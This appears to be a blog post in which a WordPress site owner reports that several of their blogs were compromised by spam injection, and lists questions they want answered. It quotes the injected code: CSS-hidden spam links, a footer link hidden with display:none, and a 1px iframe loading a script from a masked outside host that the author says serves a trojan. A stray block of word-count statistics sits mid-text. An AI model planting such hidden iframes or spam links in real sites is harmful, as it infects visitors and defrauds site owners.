Three of my Wordpress blog hacked, that blogs installed on 2 different servers. I was hit by the spam injection. Spammer(s) injected long hidden links (hundreds of lines!) in blog posts and footer of my HYIP blog for revenue sharing site. Spammer(s) are also inserting iframes in blog posts of my other multi register users blog. That spammer(s) hacked this blog too with inject(s) hidden link of common spam words into footer only ( people can’t register at this blog).

Blogs are most likely attacked by some kind of automated tool since the amounts of spam are too big to work manually on all those spam pages creation.

Hidden Text Injection : The insertion was done deliberately to hide the text from display as follows (Injected into blog posts from one of my multi users blog):

<font style="overflow: hidden; position: absolute; height: 0pt; width: 0pt">
Spam words with link to spam websites
</font>

Iframe Injection : my other multi register users blog injected with a 1px iframe due to a vulnerability in WordPress … looks like this :

<!-- Traffic Statistics --> <iframe width="1" height="1" frameborder="0" src="http://xx.xxx.xx.xx/iframe/wp-stats.php"> </iframe><!-- End Traffic Statistics -->

and of course it downloads a trojan. Its happening to a TON of blogs too.

Template Injection : Not only did the hackers insert “invisible” code into my blog posts, what had happened was my template had been hacked so that the footer had included a ton of hidden spam terms.
Number of paragraphs: 1
Number of words: 115,520
Number of letters and digits: 468,439
Number of characters: 595,969
File size: 628,009 bytes

Look like this :

<!-- ~ --><u style="display: none"> <a href="http://spammerdomain.ext/spampage.html">ton of spam terms </a> </u><!-- ~ -->

from lower credit card to porn credit card, from buy cheap car insurance to unreal auto car insurance :p

Now, I’m trying to get more information and solve this problem and trying to find the answers for these questions :

Why would someone want to hack my website?
What should I do to detect and eventually block hacking attempts?
What kinds of hackery going on?
How to Prevent SQL Injection Attacks?
How To Repair The Damage?
Search Engine Effects of This Situation
Etc.
I’ll be back soon !

Update :

Google temporarily removed some of my webpages from their search results. Currently pages from blog.pramudita.com are scheduled to be removed for at least 30 days. This blog hacked too. Spam terms inserted into footer.php of current theme and user : “wordpress” registered into that blog, also he changed these files :

1. index.php
2. xmlrpc.php
3. wp-trackback.php and
4. wp-settings.php